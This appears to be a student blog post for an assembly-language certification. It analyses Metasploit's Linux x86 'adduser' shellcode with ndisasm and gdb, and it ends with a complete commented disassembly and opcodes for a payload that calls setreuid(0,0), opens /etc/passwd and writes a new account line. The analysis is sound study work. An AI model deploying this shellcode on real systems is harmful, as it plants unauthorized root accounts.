Analyse at least 3 shellcode samples created using msfpayload for linux/x86. Use gdb/ndisasm/libemu to investigate the functionality and present your findings.
The third shellcode sample we will analyse is the linux/x86/adduser. First we check the options to see if we need to set any parameters:
There are two parameters we need to set, the user and the password. Generate the raw shellcode, and pass it through ndisasm to disassemble:
On first glance, there seem to be a lot of “weird” instructions around the middle part of the disassembled listing. We will get into that latter on. Let’s analyse the first part of the code. There are some common zeroing out of registers, and then EAX is loaded with 0x46 (70), before the int 80 instruction. Looking into /usr/include/i386-linux-gnu/asm/unistd_32.h we see:
The man page for setreuid will tell us all we need to know for this call:
The values of Real userID and Effective UserID are passed as parameters in the registers EBX, ECX. Return from this function (into EAX) should be 0 to indicate that we have successfully executed the call. We will need to run the code inside gdb. Extract the code in C format, cut, paste into shellcode.c, compile and execute under gdb:
Set the breakpoint at the start of the shellcode:
We will step through the code, until we execute the syscall:
Observe that the return value (EAX) is not zero, i.e. we failed to set real/effective uid to 0. This is quite normal since we are executing the shellcode as a non-root user. Since this shellcode is supposed to make a new entry into /etc/passwd, we need to execute it with elevated (root) privileges:
Step once more:
Yes, this time the syscall was successful. Of course, we must be extremely careful running the code with super user privileges. I am not executing this on my everyday system, rather on a dedicated analysis system, which I do not really mind messing with. Also the source of the shellcode is trusted i.e. metasploit.
Here are the comments for the first part of the shellcode:
The next part of the code stores 0x5 into EAX, to prepare for a syscall. Looking into unistd_32.h:
The man page for open() is presented below:
So, EBX should point to the filename, and ECX should be the flags, which denotes the access mode we want to have on this file. To see the possible values we can look into fcntl.h:
The commentary for the second part of the code can now be completed:
Moving on we reach the part of the code that has some interesting new instructions:
We can see that there is a call instruction, which will transfer code execution at offset 0x50. In our disassembled listing, the offsets (first column) do not match, the closest is 0x4f, and then 0x52. Observe, that on 0x4f we see the 0A byte value (new line), followed by 59 8B. The opcodes marked by the yellow area, should be a string value, in the form of a declare byte, in the original listing i.e. a string constant, which ends with the new line character. All the values fall within the printable ASCII characters range (0x20-0x7E). If we extract those values and use an echo –ne command we see the following:
So this is indeed the entry that we are going to put inside /etc/passwd file. In order to get a correct disassembly listing from ndisasm, we will have to use the –k option, to define a portion of the shellcode that we want to skip from the disassembly process. Offset is 0x2B (43) and the length of the code is 0x50 – 0x2b= 80-43=37. The command for ndisasm is presented below:
We are now able to have the correct disassembly listing and analyse the last part of the code:
The last part of the code writes the new entry to the file, and then exits. It is interesting that the length of the string has not been passed via a direct mov edx,<length> but instead the actual byte value within the call instruction was used.
The following presents the complete analysis:
00000000 31C9 xor ecx,ecx ;zero out ECX
00000002 89CB mov ebx,ecx ;zero out EBX
00000004 6A46 push byte +0x46 ;push on stack 0x46 (70)
00000006 58 pop eax ;pop from stack 0x46 into EAX
00000007 CD80 int 0x80 ;syscall setreuid (0,0)
00000009 6A05 push byte +0x5 ;push 0x5 on stack
0000000B 58 pop eax ;pop 0x5 from stack into EAX
0000000C 31C9 xor ecx,ecx ;zero out ECX
0000000E 51 push ecx ;push 0 on the stack
0000000F 6873737764 push dword 0x64777373 ;push dwss on stack
00000014 682F2F7061 push dword 0x61702f2f ;push ap// on stack
00000019 682F657463 push dword 0x6374652f ;push cte/ on stack
0000001E 89E3 mov ebx,esp ;EBX points to top of stack
00000020 41 inc ecx ;ECX = 1
00000021 B504 mov ch,0x4 ;ECX = 0x401
00000023 CD80 int 0x80 ;syscall open(/etc//passwd, 401)
;we open the file with write perms
00000025 93 xchg eax,ebx ;store file descriptor from open() into EBX
;EAX=previous value of EBX, i.e. stack pointer
;from open()
00000026 E825000000 call dword 0x50 ;jump to offset 0x50
0000002B skipping 0x25 bytes ;this section holds the line we want to
;add into /etc/passwd
00000050 59 pop ecx ;ECX points to the point where we need to return
;from the call above, effectively
;at the start of the string
00000051 8B51FC mov edx,[ecx-0x4] ;EDX = 0x25 (start of string - 4 bytes
;points us to 0x25, effectively, this is the
;LENGTH of the string we need to write)
00000054 6A04 push byte +0x4 ;push 4 on stack
00000056 58 pop eax ;pop 4 from stack into EAX
00000057 CD80 int 0x80 ;syscall write()
;EBX, fd to write to
;ECX, pointer to buffer containing the data
;EDX, bytes count
00000059 6A01 push byte +0x1 ;push 1 on stack
0000005B 58 pop eax ;pop 1 from stack into EAX
0000005C CD80 int 0x80 ;syscall exit()
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-645

















